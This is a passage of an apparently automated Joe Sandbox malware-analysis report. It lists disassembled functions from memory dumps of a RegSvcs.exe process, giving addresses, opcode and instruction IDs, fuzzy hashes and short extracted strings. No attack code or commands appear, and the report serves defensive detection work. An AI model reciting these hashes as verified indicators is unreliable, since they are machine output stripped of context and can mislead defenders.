                                                                • Snapshot File: hcaresult_15_2_d40000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: fa7ea04f1cdc53f0f51ed3c7546cf87a669ad647fc5c5551e86b2aa0784b76f0
                                                                • Instruction ID: 4bb6bce9923faef081a1a057ddcf31f4d8e28cce0e8d96e6f578fdbbe61ee818
                                                                • Opcode Fuzzy Hash: fa7ea04f1cdc53f0f51ed3c7546cf87a669ad647fc5c5551e86b2aa0784b76f0
                                                                • Instruction Fuzzy Hash: 7BF01D75D1022B9FCB00EFA5D8054DEFBB5FE85310B018656D519A7201EBB06648CBD1
                                                                Function 00D44517 Relevance: .0, Instructions: 29COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000F.00000002.3427751659.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_15_2_d40000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 1d8858e66cb11ed458301f975961a51426068b5c9570d46b82ec67791ae330b1
                                                                • Instruction ID: c8fa050c56b5796b76704b4800ba0b6d7dd72d81c7f8e3acd5f10bdf608eaa43
                                                                • Opcode Fuzzy Hash: 1d8858e66cb11ed458301f975961a51426068b5c9570d46b82ec67791ae330b1
                                                                • Instruction Fuzzy Hash: EAF0D471D1021B8FCF40DFA9D9056EFBBB1FE95311F10862AD519B7150E7B02A8ACB90
                                                                Function 00D407F0 Relevance: .0, Instructions: 25COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000F.00000002.3427751659.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_15_2_d40000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: b14992ff3f8db1f7a5c2153bf8d613ba6090f0fc559363fe3586e9cd0f378224
                                                                • Instruction ID: 7212169906d185125e8b5830bf7dc3ae0697b3e1e0614e53e9733486ddb83bbe
                                                                • Opcode Fuzzy Hash: b14992ff3f8db1f7a5c2153bf8d613ba6090f0fc559363fe3586e9cd0f378224
                                                                • Instruction Fuzzy Hash: 3DE04F3290E3D14FC71397746C69199BF718E53254F2E01CFC5808B057D95A0844CBE2
                                                                Function 00D413A1 Relevance: .0, Instructions: 20COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000F.00000002.3427751659.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_15_2_d40000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: f8722211326a1e8a05edaa559ec48a936fe6cb9aac19e7a76cb1f37ed388ecb9
                                                                • Instruction ID: 4ae647bc85d0eb8d8d712a587d85e052a2c97bac93537a459cba4df3dce7ee20
                                                                • Opcode Fuzzy Hash: f8722211326a1e8a05edaa559ec48a936fe6cb9aac19e7a76cb1f37ed388ecb9
                                                                • Instruction Fuzzy Hash: A0E0C275D4524A8FCB40DFB988825AEBFF0EE09200F1445AAC548E7201E23152518BA1
                                                                Function 00D4B78F Relevance: .0, Instructions: 20COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000F.00000002.3427751659.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_15_2_d40000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 892564ca690e95cace61e24482a5cda08fa077c6955d5cc8ab365572b3ffcb25
                                                                • Instruction ID: 382ad2b48e46dbbd30285c70bfddec2ecd34546a93246b36f241c11aa879e9a1
                                                                • Opcode Fuzzy Hash: 892564ca690e95cace61e24482a5cda08fa077c6955d5cc8ab365572b3ffcb25
                                                                • Instruction Fuzzy Hash: 58E0E20400F3E14FCB035B3828342943F318C6325470A24C3C2C1CF0A3D8055889E776
                                                                Function 00D4205D Relevance: .0, Instructions: 19COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000F.00000002.3427751659.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_15_2_d40000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 53d3d94b513c949bd5dfd317e4aad4c330a64fbcaa7ce3f76d8c9cf91dbbbbd8
                                                                • Instruction ID: 26b39fd6bfb26e5ecf1b82113ae36ca2c3b495b243cca727176278aeead5823b
                                                                • Opcode Fuzzy Hash: 53d3d94b513c949bd5dfd317e4aad4c330a64fbcaa7ce3f76d8c9cf91dbbbbd8
                                                                • Instruction Fuzzy Hash: B0D02B32F002688FC7148F69DC004DCFFA1EBC0330B1582A6C0155B253C7B8C6028FA1
                                                                Function 00D44E39 Relevance: .0, Instructions: 19COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000F.00000002.3427751659.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_15_2_d40000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 77aef1d4c01e1b0d1cd8ac9b0ae6fb848f555e749ae04eddab1f43013b06bb0f
                                                                • Instruction ID: 4c9d5ada0b5f613b37db5ee1e7eafc8790f16f3925480042db90bafbb6ba3e8d
                                                                • Opcode Fuzzy Hash: 77aef1d4c01e1b0d1cd8ac9b0ae6fb848f555e749ae04eddab1f43013b06bb0f
                                                                • Instruction Fuzzy Hash: 3FD05EB22181204B9600EA2CD9448ABF7D5AFD4320B4AC962F884D7156CA20EC8186F0
                                                                Function 00D4206E Relevance: .0, Instructions: 18COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000F.00000002.3427751659.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_15_2_d40000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: f044ed87d9c71436ae390a0f36cfbc3fca9bcf316dee44adcc6c8a4103bb2bf0
                                                                • Instruction ID: 7aeca24b2c77a4b7267f3d2351ada10c4f78bc0bba35fd7358a7c361dd23f593
                                                                • Opcode Fuzzy Hash: f044ed87d9c71436ae390a0f36cfbc3fca9bcf316dee44adcc6c8a4103bb2bf0
                                                                • Instruction Fuzzy Hash: AFD01235B142598FCB189FACE8004DCBFA19A8423071441AAD11697293DB64C5158F22
                                                                Function 00D42D7A Relevance: .0, Instructions: 18COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000F.00000002.3427751659.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_15_2_d40000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 04aa3360a97e6fbaa78d4fecf80e8c33d46b44d680f8087646ff2244597b9dab
                                                                • Instruction ID: f20c4d23bb7c09000044f9940ab3478024120423b8834154273ab4f7735fea72
                                                                • Opcode Fuzzy Hash: 04aa3360a97e6fbaa78d4fecf80e8c33d46b44d680f8087646ff2244597b9dab
                                                                • Instruction Fuzzy Hash: 90D05B31F151458FCB148BADA8105DCFFA0EEC4231724816BD55ADB252DB348551CB71
                                                                Function 00D450C7 Relevance: .0, Instructions: 17COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000F.00000002.3427751659.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_15_2_d40000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 588b8d67b474d7190b639794b0cf98ecaeafc7737c1786cf3d5bbc036403e9da
                                                                • Instruction ID: b844c5e25d2aeed80f708e1e20b2ab3cd0f38f394b31c6f3810e180a81d039d0
                                                                • Opcode Fuzzy Hash: 588b8d67b474d7190b639794b0cf98ecaeafc7737c1786cf3d5bbc036403e9da
                                                                • Instruction Fuzzy Hash: 61D05E39655647CFD7009B90F4267AE7B70AB41324F280911D082A1592CA78414A86B1
                                                                Function 00D40847 Relevance: .0, Instructions: 17COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000F.00000002.3427751659.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_15_2_d40000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 9b7e7fe62e2648453620b01038f6a9fdd5642cb97f297a8891bbdd0590423b40
                                                                • Instruction ID: cb7894670d35a0b519d168f3b7f7791e513ef042d87f60668b257a9d0f96ce66
                                                                • Opcode Fuzzy Hash: 9b7e7fe62e2648453620b01038f6a9fdd5642cb97f297a8891bbdd0590423b40
                                                                • Instruction Fuzzy Hash: 64E0C771C0A288AFDB12CFF48800BAC7FB0AB04240F2402DAE489C7202C7308E00CB41
                                                                Function 00D40848 Relevance: .0, Instructions: 17COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000F.00000002.3427751659.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_15_2_d40000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 71fb04259c3f51b3210f9499f52d4f88a13bebebbbad3586bf99be2c3c81a794
                                                                • Instruction ID: ad9f0a0922d60315a3c2cc7cf83ade1a1912cdeb689e68d3f3a9a9ae62774d0a
                                                                • Opcode Fuzzy Hash: 71fb04259c3f51b3210f9499f52d4f88a13bebebbbad3586bf99be2c3c81a794
                                                                • Instruction Fuzzy Hash: 02D01771905248AFDB56DFF4C905B5D7BB8AB05240F244596E448C7201DB35DE10DB91
                                                                Function 00D413B0 Relevance: .0, Instructions: 17COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000F.00000002.3427751659.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_15_2_d40000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: fef043d575c0f54f122b0501c9fa8b484036c79d8b33f2a125a1e09fb6ee5efe
                                                                • Instruction ID: ff610540103a936e3c493e72e82ac29826b335fe7493b7c2bd457a07c7918535
                                                                • Opcode Fuzzy Hash: fef043d575c0f54f122b0501c9fa8b484036c79d8b33f2a125a1e09fb6ee5efe
                                                                • Instruction Fuzzy Hash: 2AE042B4D4534E9F8B40EFB988421AEBFF5AB48200F6085AA9A08E3201E67156518BE1
                                                                Function 00D4269F Relevance: .0, Instructions: 17COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000F.00000002.3427751659.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_15_2_d40000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 6ce50cbf654bca47d4b8c8564cba4e4981c5c446182338299bbb9c3f8c2ca8af
                                                                • Instruction ID: d775880d327689da87d1b863ac288120dca99a075383c4bcb28e10b1bef27c2a
                                                                • Opcode Fuzzy Hash: 6ce50cbf654bca47d4b8c8564cba4e4981c5c446182338299bbb9c3f8c2ca8af
                                                                • Instruction Fuzzy Hash: 67D05E71A152468FCB089BA8E8004ACBFA0EAC133076581BAD11A8B2A2DA7085528B20
                                                                Function 00D426A8 Relevance: .0, Instructions: 17COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000F.00000002.3427751659.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_15_2_d40000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 1e63253b90593ed02a19047a109b118631225f1020b51a794318bec9bb6e2637
                                                                • Instruction ID: 1b4f7b4525a34a1f3ca02c11c6005788d7881febfba8518814197339e4e4bd6c
                                                                • Opcode Fuzzy Hash: 1e63253b90593ed02a19047a109b118631225f1020b51a794318bec9bb6e2637
                                                                • Instruction Fuzzy Hash: 47D05E31B0524A8FCB198BACE8004ACBFE0DA8423072681BED11ACB292DA30C5518B22
                                                                Function 00D42AB6 Relevance: .0, Instructions: 16COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000F.00000002.3427751659.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_15_2_d40000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: a892394a933e0a727c87f3a638bf426940adb00178499fe3b724f0c00348a75a
                                                                • Instruction ID: 4a794d9bd0cf140f3b9a21aa87ed940c85bf44e6c7c465070791bc3d5759a8ba
                                                                • Opcode Fuzzy Hash: a892394a933e0a727c87f3a638bf426940adb00178499fe3b724f0c00348a75a
                                                                • Instruction Fuzzy Hash: 8AD0A732B052458F8B248BACAC005DCFBA0EAC42317144297D565EB151CA788511CB32
                                                                Function 00D4CB63 Relevance: .0, Instructions: 16COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000F.00000002.3427751659.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_15_2_d40000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 94439dd6dfd8f81c9f2fa6f98f6559c1414007f34a046bd746c225edd1d80237
                                                                • Instruction ID: 7e92fc4a7c7c82dd4e4150dc4afec330bff52dee5f93e5783bd9d96f0141c1cb
                                                                • Opcode Fuzzy Hash: 94439dd6dfd8f81c9f2fa6f98f6559c1414007f34a046bd746c225edd1d80237
                                                                • Instruction Fuzzy Hash: D8D0A732B06149DFDF114BE9A8000DC7BA0EAC513472002A3C156A7151CA2488118B32
                                                                Function 00D45F32 Relevance: .0, Instructions: 16COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000F.00000002.3427751659.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_15_2_d40000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 162f461b51b1f57a38fcfe65c3cf066dca0b50d036f9e27636448751c4ebc426
                                                                • Instruction ID: 4b0af051719877ff9ae5ba757cd96603c438af41c5829d8c6e30971a2fb63516
                                                                • Opcode Fuzzy Hash: 162f461b51b1f57a38fcfe65c3cf066dca0b50d036f9e27636448751c4ebc426
                                                                • Instruction Fuzzy Hash: 13D0A732F063549FCF218BB8A84049CBF70DEC112071882D3D156C7153C634C8198722
                                                                Function 00D4D9DA Relevance: .0, Instructions: 15COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000F.00000002.3427751659.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_15_2_d40000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: d449b159cd0ecbffbd4c064975c913d1c633af76de9aa0f548176f738de48959
                                                                • Instruction ID: 6e5814344afd9e2a19983fb7dc54bafe511b0ba3e904d12af765087615c6238d
                                                                • Opcode Fuzzy Hash: d449b159cd0ecbffbd4c064975c913d1c633af76de9aa0f548176f738de48959
                                                                • Instruction Fuzzy Hash: CED0A936B091088FDB018EECA8000ECBBA1DAC533472442A2C266D7291CA2089558B72
                                                                Function 00D4596B Relevance: .0, Instructions: 15COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000F.00000002.3427751659.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_15_2_d40000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: dcca42e3c832aa7fc57168d6ab5094dfdfa48ff5109d902ec259d6b52a925e95
                                                                • Instruction ID: 5b3db694bf4b87b0a3b3f65fa8b785d10a8e4532c8de0a01a85dda40259a6b9a
                                                                • Opcode Fuzzy Hash: dcca42e3c832aa7fc57168d6ab5094dfdfa48ff5109d902ec259d6b52a925e95
                                                                • Instruction Fuzzy Hash: 96D0A732B01145CF8F208BACA8005DCBBE0DAC41317104196C555EB151CA248911CF33
                                                                Function 00D4ACD3 Relevance: .0, Instructions: 15COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000F.00000002.3427751659.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_15_2_d40000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 7e03331db08b04aa871bbc9628efc5db125dd50b870fb90a91317b85ac1bb9d3
                                                                • Instruction ID: 0bb14cae450c1d23b157169e3666cf1d9b8cd31004d9fb443da81b4993a2408d
                                                                • Opcode Fuzzy Hash: 7e03331db08b04aa871bbc9628efc5db125dd50b870fb90a91317b85ac1bb9d3
                                                                • Instruction Fuzzy Hash: CBD0A735B412598F8B149FACE4005DC7BA19AC4231B1001A6C12697592DB64C5118B32
                                                                Function 00D4A060 Relevance: .0, Instructions: 14COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000F.00000002.3427751659.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_15_2_d40000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 336f15bdeae57bd0af5504e49e3ddc618816359a4d3b5bd5c9c082add1a54f62
                                                                • Instruction ID: 2a422a7c2306138fa98005f4e0b707584aeb02e187c252eb8483829d9e368388
                                                                • Opcode Fuzzy Hash: 336f15bdeae57bd0af5504e49e3ddc618816359a4d3b5bd5c9c082add1a54f62
                                                                • Instruction Fuzzy Hash: 28D02232B0114A8FCB25CBFCD4000DC7BE0CEC8230B2081A6C21ACB2A2CA20CD52CB33

                                                                Executed Functions

                                                                Function 00FD21EA Relevance: 1.6, Strings: 1, Instructions: 378COMMON
                                                                Download Yara Rule
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 00000015.00000002.3435780953.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_21_2_fd0000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID: P @
                                                                • API String ID: 0-1889899152
                                                                • Opcode ID: 043a74ce6dc566ecc763c0b7ec374998408ce8b9acba93380197611c686b558a
                                                                • Instruction ID: 9d743a0b22a5a7fbc66716510d73da6330adacba2fb3d62447f09fa9b2a3924b
                                                                • Opcode Fuzzy Hash: 043a74ce6dc566ecc763c0b7ec374998408ce8b9acba93380197611c686b558a
                                                                • Instruction Fuzzy Hash: 17F12470A012499FDB45CF68D484A8DBBF2BF49320F5981A5E809AB366D730EC85CF60
                                                                Function 00FD8D38 Relevance: .3, Instructions: 281COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000015.00000002.3435780953.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_21_2_fd0000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 0a4ab4bf21c1df89d0c2560a6f5be50e0eec42907f65d8f5d64f529ab5b7f53c
                                                                • Instruction ID: 36b1da042c5886e563161e69cd3383e61ca1d7def41815fe7637d88bfc013091
                                                                • Opcode Fuzzy Hash: 0a4ab4bf21c1df89d0c2560a6f5be50e0eec42907f65d8f5d64f529ab5b7f53c
                                                                • Instruction Fuzzy Hash: E3B15E71E002098FDB10CFA9D8857AEBBF3BF88754F18852AD415A7394EB749846DF81
                                                                Function 00FD9608 Relevance: .3, Instructions: 266COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000015.00000002.3435780953.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_21_2_fd0000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 51ec98ceba17c868025dca9d02cc92efce6b6aee168a170be5c37f8372903bf1
                                                                • Instruction ID: 85c3a43e7d954fb4211590226902675a8ad1f5cd8b385bfe7689378b16d0c08e
                                                                • Opcode Fuzzy Hash: 51ec98ceba17c868025dca9d02cc92efce6b6aee168a170be5c37f8372903bf1
                                                                • Instruction Fuzzy Hash: 0AB14D71E142098FDF10CFE9D89179DBBF2BF88724F28812AD415A7394EBB49845DB81
                                                                Function 00FD3C60 Relevance: 2.7, Strings: 2, Instructions: 201COMMON
                                                                Download Yara Rule
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 00000015.00000002.3435780953.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_21_2_fd0000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID: D@$D@
                                                                • API String ID: 0-3862852415
                                                                • Opcode ID: 5011d4b6fff2324a7f005a11dc49cf4e1417af0c5532d1c25b4c3401c34af381
                                                                • Instruction ID: 24b5c3a7755248246ebc5a73fc9163e5d870439075865daaa3ab0063039dd5fd
                                                                • Opcode Fuzzy Hash: 5011d4b6fff2324a7f005a11dc49cf4e1417af0c5532d1c25b4c3401c34af381
                                                                • Instruction Fuzzy Hash: 33819E30B012489FDB05DF68D584A9DBBF3EF89310F288165E505AB3A5CB30ED86CB51
                                                                Function 00FD0981 Relevance: 2.6, Strings: 2, Instructions: 63COMMON
                                                                Download Yara Rule
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 00000015.00000002.3435780953.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_21_2_fd0000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID: 4X$W
                                                                • API String ID: 0-690898753
                                                                • Opcode ID: 6bca88ae68d2ebd26485b9f1d8fedb970c1cbdc57d1c28229ca1d941a02a6d12
                                                                • Instruction ID: cb580396ecef85f3369c448e3f8ca8763011bee50fc1a5f363543ea97d628d1f
                                                                • Opcode Fuzzy Hash: 6bca88ae68d2ebd26485b9f1d8fedb970c1cbdc57d1c28229ca1d941a02a6d12
                                                                • Instruction Fuzzy Hash: DD214175D1124ADFDB05EF69E85059D7FB1FB85304B0095ADD108AB36ADB742A09CF40
                                                                Function 00FD0990 Relevance: 2.6, Strings: 2, Instructions: 57COMMON
                                                                Download Yara Rule
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 00000015.00000002.3435780953.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_21_2_fd0000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID: 4X$W
                                                                • API String ID: 0-690898753
                                                                • Opcode ID: 96dde64d5f1d1e51939fcd5484094ae91788d6c9083183ed899aa11c71344f37
                                                                • Instruction ID: ee9b05c3d7bfabad5eaf6260b2827d7521eed6048e70b4d941c44f700969a7aa
                                                                • Opcode Fuzzy Hash: 96dde64d5f1d1e51939fcd5484094ae91788d6c9083183ed899aa11c71344f37
                                                                • Instruction Fuzzy Hash: 29214175D1020ADFDB05EF69E88099D7BF1FB84304F0095ADD108AB369EB746A05CF80
                                                                Function 00FD1EF8 Relevance: 1.4, Strings: 1, Instructions: 127COMMON
                                                                Download Yara Rule
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 00000015.00000002.3435780953.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_21_2_fd0000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID: tR
                                                                • API String ID: 0-3746012384
                                                                • Opcode ID: 56b4d21e4aa15d8b1b39b108bb3b008f4876dbcc0a34da49907f8ee9ea7fa9e3
                                                                • Instruction ID: 4261118a68e9cdd295d0fe4d605bc1d17e00745a47fe7c2607c16a98ffb3c088
                                                                • Opcode Fuzzy Hash: 56b4d21e4aa15d8b1b39b108bb3b008f4876dbcc0a34da49907f8ee9ea7fa9e3
                                                                • Instruction Fuzzy Hash: C9516F31A002488FDB15CF69C480A9DBBF2EF89320F199699D415BB3A1DB71ED45CFA0
                                                                Function 00FD1EE7 Relevance: 1.3, Strings: 1, Instructions: 97COMMON
                                                                Download Yara Rule
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 00000015.00000002.3435780953.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_21_2_fd0000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID: tR
                                                                • API String ID: 0-3746012384
                                                                • Opcode ID: ff96b034679370bfa909a4b865e46f2a718f9c6e2ab5c4c5f9e35b68c63d660a
                                                                • Instruction ID: 6cf1702cecd5de7830cec3abca73d8ed64a4f5264b23136cb98316858b6bb830
                                                                • Opcode Fuzzy Hash: ff96b034679370bfa909a4b865e46f2a718f9c6e2ab5c4c5f9e35b68c63d660a
                                                                • Instruction Fuzzy Hash: 9841BE30A002098FDB15DF68D8809CDBBF2EF89320F549669D115BB3A2DB71ED45CB90
                                                                Function 00FDCA12 Relevance: 1.3, Strings: 1, Instructions: 92COMMON
                                                                Download Yara Rule
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 00000015.00000002.3435780953.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_21_2_fd0000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID: L
                                                                • API String ID: 0-3468585435
                                                                • Opcode ID: b4811094729a02a5ce8930391bf8795153e3a5fadccb88976770fea0fb8fbb5c
                                                                • Instruction ID: 0d86fb40871e3e1877da77b30d80dfc6048893610c3f8d95e6996865ee0e49f8
                                                                • Opcode Fuzzy Hash: b4811094729a02a5ce8930391bf8795153e3a5fadccb88976770fea0fb8fbb5c
                                                                • Instruction Fuzzy Hash: 19214871E012858FDB12EF68C85159EBFF2EF85310B0802AFC848A7346DB21AC05DB91
                                                                Function 00FDC9BF Relevance: 1.3, Strings: 1, Instructions: 87COMMON
                                                                Download Yara Rule
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 00000015.00000002.3435780953.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_21_2_fd0000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID: L
                                                                • API String ID: 0-3468585435
                                                                • Opcode ID: c63e14858d57d190ddbbd3f89edc408620ff3c03c425c65eb605a95d6e141f1d
